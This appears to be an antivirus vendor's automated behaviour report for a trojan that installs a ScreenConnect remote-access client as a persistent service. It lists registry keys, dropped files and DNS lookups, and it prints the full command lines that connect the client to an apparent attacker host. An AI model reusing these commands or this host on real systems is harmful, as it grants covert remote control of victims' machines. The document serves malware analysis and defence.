Trojan.Siggen32.6125

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[HKLM\SOFTWARE\Classes\sc-ae2fbebc72d56380\shell\open\command] '' = '"%ProgramFiles(x86)%\ScreenConnect Client (ae2fbebc72d56380)\ScreenConnect.WindowsClient.exe" "%1"'

Sets the following service settings

[HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (ae2fbebc72d56380)] 'Start' = '00000002'
[HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (ae2fbebc72d56380)] 'ImagePath' = '"%ProgramFiles(x86)%\ScreenConnect Client (ae2fbebc72d56380)\ScreenConnect.ClientService.exe" "?e...

Creates the following services

'ScreenConnect Client (ae2fbebc72d56380)' %ProgramFiles(x86)%\ScreenConnect Client (ae2fbebc72d56380)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=ladybugstreasures.com&p=8041&s=b046305f-1eaa-4f3d-95f5-596af4e674a6&k=BgIAAACkA...

Modifies file system

Creates the following files

%TEMP%\setup.msi
%LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\<File name>.exe.log
%TEMP%\msi24aa.tmp
%TEMP%\msi24aa.tmp-\screenconnect.installeractions.dll
%TEMP%\msi24aa.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msi24aa.tmp-\screenconnect.core.dll
%TEMP%\msi24aa.tmp-\customaction.config
%LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\rundll32.exe.log
%WINDIR%\temp\~dff927c7922d2ee38d.tmp
%WINDIR%\installer\sourcehash{14398fd5-f17a-4eb0-9dc5-f125fc2a8ea6}
%WINDIR%\temp\~df642212ee27c7a723.tmp
%WINDIR%\temp\~df204f21c5a5a01c5f.tmp
%WINDIR%\temp\~df9308e2cfbd7b6cab.tmp
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.client.dll
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.clientservice.dll
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.core.dll
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.windows.dll
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.windowsclient.exe
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.windowsclient.exe.config
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.clientservice.exe
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\app.config
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\client.en-us.resources
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\client.override.en-us.resources
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\client.override.resources
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\client.resources
%WINDIR%\installer\{14398fd5-f17a-4eb0-9dc5-f125fc2a8ea6}\defaulticon
%WINDIR%\temp\~df05013469ce2d2395.tmp
%WINDIR%\temp\~df895254884490f9b8.tmp
%WINDIR%\temp\~dfedbe485851d122ac.tmp
%WINDIR%\temp\~dfec7f19cf839a3e14.tmp
%WINDIR%\temp\~df3e86a70c2999ef54.tmp
%WINDIR%\temp\~dfbf6babe3a1f860b4.tmp
%WINDIR%\temp\~df1406ee76cbbb398f.tmp
%WINDIR%\temp\~df3b6cd2f5184693f6.tmp
%TEMP%\content\2808-1268-screenconnect.windowsclient.exe-18-50-00-811.dump
%WINDIR%\temp\content\2324-5104-screenconnect.windowsclient.exe-18-50-02-202.dump

Deletes following files that it created itself

%TEMP%\msi24aa.tmp-\customaction.config
%TEMP%\msi24aa.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msi24aa.tmp-\screenconnect.core.dll
%TEMP%\msi24aa.tmp-\screenconnect.installeractions.dll
%TEMP%\msi24aa.tmp

Network activity

Connects to

'la#####streasures.com':8041
'co##############e-chains.prod.autograph.services.mozaws.net':443

TCP

Other

'la#####streasures.com':8041

UDP

DNS ASK mo#####.map.fastly.net
DNS ASK la#####streasures.com
DNS ASK co##############e-chains.prod.autograph.services.mozaws.net

Miscellaneous

Creates and executes the following

'%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.clientservice.exe' "?e=Access&y=Guest&h=ladybugstreasures.com&p=8041&s=b046305f-1eaa-4f3d-95f5-596af4e674a6&k=BgIAAACkAABSU0ExAAgAAAEAAQARJQaezk4RwOV2NGnVourc54nJ50w31jOUo6bdgji5L2%2bopu%2bBr%2fCMtq2bMHqAikk7DOmG...
'%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.windowsclient.exe' "RunRole" "8843d938-ec04-45b6-a793-a535f8719efc" "User"
'%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.windowsclient.exe' "RunRole" "7d9443c4-05cd-45e5-9b75-b15ae4a186cd" "System"

Executes the following

'%WINDIR%\syswow64\msiexec.exe' /i "%TEMP%\setup.msi"
'%WINDIR%\syswow64\rundll32.exe' "%TEMP%\MSI24AA.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_927546 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments